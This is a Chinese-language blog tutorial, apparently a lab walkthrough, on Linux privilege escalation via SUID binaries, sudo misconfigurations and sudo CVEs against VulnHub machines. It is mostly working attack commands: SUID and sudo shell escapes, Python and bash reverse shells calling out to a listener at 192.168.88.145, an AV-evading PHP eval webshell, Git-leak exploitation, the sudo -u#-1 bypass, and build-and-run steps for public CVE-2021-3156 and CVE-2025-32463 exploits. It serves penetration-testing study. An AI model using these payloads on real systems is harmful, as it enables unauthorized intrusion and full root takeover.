2.Linux 权限提升:SUID 机制与 SUDO 配置漏洞利用实战

2.Linux 权限提升:SUID 机制与 SUDO 配置漏洞利用实战

_

获取到 Web 权限或普通用户在 Linux 服务器上时进行的 SUID & SUDO 提权。


基础概念说明

SUID (Set owner User ID up on execution)

SUID 是给予文件的一种特殊权限类型。在 Linux / Unix 中,当一个程序运行时会继承执行用户的权限,而 SUID 的作用是让执行者临时继承文件所有者的权限(含 UID、GID)。

SUDO 权限

SUDO 是由 root 将原本需要超级用户权限才能执行的命令授权给普通用户执行,配置文件为:

/etc/sudoers

除配置风险外,SUDO 还存在相关漏洞:

CVE-2019-14287
CVE-2021-3156
CVE-2025-32463

提权辅助手册参考

https://gtfobins.github.io/

SUID 提权

1️ SUID & GUID — 自带系统程序提权

环境:

https://www.vulnhub.com/entry/dc-1,292/

开启 NAT 模式
命令运行:SUID GUID
入口来自历史漏洞点

查找 SUID / GUID 文件

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

信息搜集工具:LinEnum & PEASS-ng

处理脚本换行符

sed -i 's/\r$//' LinEnum.sh

PEASS-ng 扫描结果:

利用 SUID 执行 Shell

/usr/bin/find . -exec '/bin/sh' \;


2️ SUID & SUDO — 第三方程序提权

环境:

https://www.vulnhub.com/entry/toppo-1,245/

搭建方式:
创建任意虚拟机 → 替换 toppo.vmdx

入口思路:端口扫描 + 路径扫描 → 获取 SSH 密码

📌 Python2 反弹 Shell(利用 SUID):

/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.145",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


📌 mawk 也可读取 Root 权限文件


SUDO & SUDO+CVE 提权

1️ 基础 SUDO 配置提权

环境:

https://www.vulnhub.com/entry/toppo-1,245/

查看 sudo 权限:

cat /etc/sudoers

无需密码的提权方法:

/usr/bin/awk 'BEGIN {system("/bin/sh")}'

2️ SUDO-CVE 实战案例

环境:

https://www.vulnhub.com/entry/devguru-1,620/

利用思路与流程

端口及资产识别

80, 8585
http://192.168.139.150/.git/
http://192.168.139.150/adminer.php
http://192.168.139.150/backend/
http://192.168.139.150:8585/
http://192.168.139.150:8585/admin

Git 泄漏利用

python GitHack.py http://192.168.139.150/.git/

Web 管理入口 & Shell 注入

利用 adminer.php 添加用户 → 登录后台 → 模板注入 Shell



PHP 免杀写 shell point:

function onStart(){
//蚁剑连接
eval($_POST["pass"]);
}

备份信息提权突破点

修改密码文件:

/var/backup/app.ini.bak

登陆 Gitea 数据库

修改密码 Hash:

4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a89578a0e42cca143775d8cb

Hook 反弹 Shell


bash -c "exec bash -i >& /dev/tcp/192.168.88.145/5555 0>&1"

反弹成功图:


利用 sudo 提权 — CVE

查看权限:

sudo -l

发现 sqlite3 免密但 root 不可使用 → 需绕过 root 限制

绕过方式:

sudo -u#-1

正常命令:

sqlite3 /dev/null '.shell /bin/sh'

CVE 绕过执行:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'


SUDO 漏洞利用合集

CVE-2021-3156

环境: Kali2020
受影响版本:

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

检测方式:

sudoedit -s /

POC:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 0

CVE-2025-32463

适用版本:

Sudo 1.9.14 ~ 1.9.17

确保 /etc/sudoers 存在 -R 权限

下载利用脚本:

git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot

执行:

/sudo-chwoot.sh

注意

sudo 利用必须是本地具有一定 sudo 权限的真实用户
WebShell 用户通常不满足条件
而 SUID 不需要此前提
1.Linux 内核漏洞提权实战:从信息收集到 DirtyCow、Pwnkit 与 DirtyPipe 利用 2026-01-09
3.Linux 提权实战:NFS 共享、Cron 定时任务与 PATH 环境变量劫持 2026-01-09

评论区